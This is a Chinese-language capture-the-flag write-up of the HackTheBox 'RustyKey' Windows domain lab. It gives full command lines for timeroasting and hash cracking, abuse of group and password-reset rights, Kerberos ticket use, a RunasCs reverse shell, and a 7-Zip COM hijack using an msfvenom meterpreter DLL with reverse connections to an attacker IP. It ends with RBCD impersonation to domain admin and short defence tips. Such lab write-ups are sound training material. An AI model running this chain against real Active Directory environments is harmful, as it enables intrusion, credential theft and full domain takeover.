欢迎关注同名微信公众号:红队安全圈
------------
hackthebox 第八赛季的新靶机 RustyKey 设计的还可以,难度是Hard,考验了攻击者在域渗透中 timeroasting 攻击的利用、哈希爆破、对受保护对象的理解、COM劫持以及约束委派进行提权,是非常实战的红队靶场,对于攻击者和企业防守方都能从中吸取经验。
靶机地址
https://app.hackthebox.com/machines/669
适合读者
√ 红队渗透测试人员
√ 企业安全运维人员
√ CTF竞赛战队
√ 想掌握链式攻击思维的安全从业者
一、信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.75 -oA nmapscan/ports
从开放的 88 389 636 等端口来看很可能是一台域控机器
扫端口详细信息,得到一个域名rustykey.htb
nmap -sT -Pn -sV -sC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49672,49673,49676,49689,49718 10.10.11.75
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-29 08:31:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
49718/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2019 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows Server 2012 (93%), Windows Server 2019 (93%), Microsoft Windows Vista SP1 (93%), Microsoft Windows 10 (93%), Microsoft Windows 10 1709 - 21H2 (93%), Microsoft Windows 10 1803 (92%), Microsoft Windows 10 1903 (92%), Microsoft Windows 10 21H1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h37m28s
| smb2-time:
| date: 2025-06-29T08:32:20
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
人员/机器信息
先同步一下客户端与服务器时间
靶场给了个初始账号rr.parker / 8#t5HE8L!W3A
,结合上面开放的端口情况,可以尝试 SMB/Winrm/WMI 等协议登录
有报错,并非是账号密码不对,而是协议不支持,域内 SMB 认证默认使用 NTLM 协议,看来是禁用了 NTLM
加上 -k 参数使用 kerberos 协议,ldap 认证成功
nxc ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k
继续探测到一些机器名和用户名,其中DC$
就是当前域控的机器名
把他们做成字典,用默认密码喷洒没有发现密码复用
先把域名添加到 hosts
echo '10.10.11.75 rustykey.htb dc.rustykey.htb' >> /etc/hosts
后续的操作都通过 kerberos 协议,例如 bloodyAD 等工具也有类似的 -k 参数,不再赘述
二、漏洞探测
timerosting
bloodhound-ce-python -u rr.parker -p '8#t5HE8L!W3A' -d rustykey.htb -dc dc.rustykey.htb -c all -ns 10.10.11.75 --zip
导入 bloodhound 分析,当前已知的 rr.parker 用户并没有什么可以直接利用的权限或者横向的条件
经过不断的翻找资料,发现 timeroasting 这种攻击方式
域内计算机通过MS-SNTP协议与域控制器(DC)同步时间时,请求中包含计算机账户的RID(相对标识符),DC返回的响应数据使用NTLM加密生成消息认证码(MAC)。由于DC不验证请求者身份,攻击者可遍历域内计算机账户的RID,收集这些MAC并离线破解,类似于AS-REP Roasting攻击,Timeroasting是一种隐蔽的离线攻击手段,虽实际利用条件较苛刻,但为攻击者提供了新的攻击面
利用条件:
- 1. 目标域中存在弱密码的计算机账户
- 2. 攻击者需能访问域内网络或已获取初始立足点,通过工具(如Timeroast脚本)提取哈希
- 3. 仅针对计算机账户(默认以
$
结尾)
先收集一下哈希,nxc 就可以完成
nxc smb dc.rustykey.htb -M timeroast
这个 python 项目也可以收集👇
https://github.com/SecuraBV/Timeroast?tab=readme-ov-fil
然后尝试用 hashcat 离线破解哈希,这里有个坑需要注意,根据找到的资料来看,hashcat 最新的 bate 版才支持上面这种哈希,而 kali 最新版中目前最新的 hashcat 并没有支持 31300,因此需要手动去官网下载 bate 版本
./hashcat.bin -m 31300 -a 0 ../hashs.txt /usr/share/wordlists/rockyou.txt
哈希去掉前面的 RID,保留从$开始的部分,指定 31300 模式爆出一个密码:Rusty88!
受保护的对象?
这个哈希 rid 是 1125,查看 bloodhound 对应的机器是IT-COMPUTER3
,机器账号是IT-COMPUTER3$
,它对 HELPDESK 组有 AddSelf 权限
同时 HELPDESK 对下图四个用户有 ForceChangePassword 权限,对 Protected Objects 组有 AddMember 权限
尝试横向到第一个 BB.MORGAN 用户,给他强制改密并登录
# 先把IT-COMPUTER3添加到helpdesk组内
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember HELPDESK 'IT-COMPUTER3$'
# 修改 BB.MORGAN 用户密码
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password BB.MORGAN 'RTCC@123'
nxc 验证账号密码是否修改成功,然而报了个错误KDC_ERR_ETYPE_NOSUPP
,加密方式不支持,可能是使用了强加密类型,禁用了弱加密类型
分析 bloodhound 发现 BB 用户属于 IT 组,IT 组又属于 Protected Objects 组是受保护的对象,安装策略更加严格
最简单的方式尝试把 IT 组从受保护的对象中移除,使用 IT-COMPUTER3$ 用户尝试移除成功
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
winrm 无法直接用明文登录,需要获取 TGT 票据,使用 kerberos 认证登录
# 获取tgt票据,在当前目录下生成一个票据文件
impacket-getTGT 'RUSTYKEY.HTB/BB.MORGAN:RTCC@123'
# 添加环境变量
export KRB5CCNAME=BB.MORGAN.ccache
# winrm -r 参数kerberos认证
evil-winrm -i dc.rustykey.htb -r RUSTYKEY.HTB
使用 TGT 票据登录成功,在 BB 用户的桌面发现 flag
三、权限提升
Runas
上一步骤获得 BB 用户的目录下看到一个 PDF 文件, 从里面能看到浓烈的提权信息,包括:
- 1. 邮件是 IT 部门发给 support 团队
- 2. 给 support 团队成员临时添加了一些特殊权限
- 3. 测试一个压缩/解压软件的上下文菜单功能
- 4. 需要关注这个软件的注册表,很可能提权条件就在这里
support 组只有一个用户 EE.REED,前面得知 helpdesk 组对 EE 用户也有强制改密码的权限
support 组也属于受保护的对象
因此可以用对 BB 用户一样的操作来对 EE 用户
# 修改密码
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password EE.REED 'RTCC@123'
# 把support组从受保护的对象移除
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
测试时获取 EE 用户的 TGT 票据失败,不过没关系,现在已经有远程交互权限,直接上传一个 runascs.exe 工具,以 EE 用户反弹一个 shell 出来
runascs.exe 是系统自带 runas 的升级版,可以非交互式直接在把密码作为参数一条命令完成操作,类似的还有 lsrunas.exe、lsrunase.exe 等
.\RunasCs.exe ee.reed RTCC@123 cmd.exe -r 10.10.14.98:4445
COM 劫持
根据前面 PDF 中的线索,在该机器的软件安装目录发现安装了 7zip 压缩软件,线索中还提到了需要关注压缩软件的注册表,因此先查询一下注册表项
reg query HKEY_CLASSES_ROOT\CLSID /f "7-Zip" /s
看到 7-zip 的 CLSID 以及加载的一个 dll 路径
上传 accesschk.exe 检测到 support 组对这个注册表有读写权限
MSF 生成一个恶意 dll,上传到目标机器临时目录,攻击机开启监听
# 生成dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=4444 -f dll -o RTCC.dll
# 开启监听
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.14.98; set LPORT 4444; exploit"
用前面获得的 EE 用户修改注册表为恶意 dll 的路径,如果有人使用了 7zip,就会执行恶意 dll
reg add "HKLM\Software\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\windows\temp\RTCC.dll" /f
经过一会儿等待后,msf 上线一个 MM.TURNER 用户
约束委派
MM 用户属于 DELEGATIONMANAGER 组,后者对域控有AddAllowedToAct
权限
AddAllowedToAct 是域中的一种权限,允许某个用户或计算机账户配置其他账户的 "允许充当"(AllowedToAct)属性,从而控制Kerberos约束委派的权限,可以修改目标账户的委派设置,使其能代表其他用户访问特定服务,或用于伪造高权限账户(如域管理员)的票据(TGT/TGS),访问敏感资源。AddAllowedToAct 权限滥用可导致权限提升和横向移动,是域渗透中的关键攻击面之一
powershell 命令设置一下约束委派,使IT-COMPUTER3$
可以冒充域控机器
# 设置域控的约束委派
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount "IT-COMPUTER3$"
# 查询域控的约束委派,关注 PrincipalsAllowedToDelegateToAccount 字段
Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount
现在 IT-COMPUTER3$ 可以以 DC 的身份访问一些服务,比如申请一张域管 backupadmin 身份的票据去访问文件共享服务器
impacket-getST 'RUSTYKEY.HTB/IT-COMPUTER3$:Rusty88!' -spn 'cifs/DC.rustykey.htb' -impersonate backupadmin -dc-ip 10.10.11.75
如下票据请求成功,在当前目录下生成一个.ccache
票据,添加到环境变量
现在使用票据可以去 dump 哈希密码,加上 -no-pass 参数
或者直接 wmiexec 登录获得域管权限,在 administrator 桌面发现 root flag
企业防守建议
- 1. 增强 Kerberos 密码策略,避免使用弱密码
- 2. 定期审查域用户和组的权限设置
- 3. 定期更新和维护安全工具和系统
- 4. 加强员工安全培训,提高识别钓鱼邮件和其他社会工程学攻击的能力
------------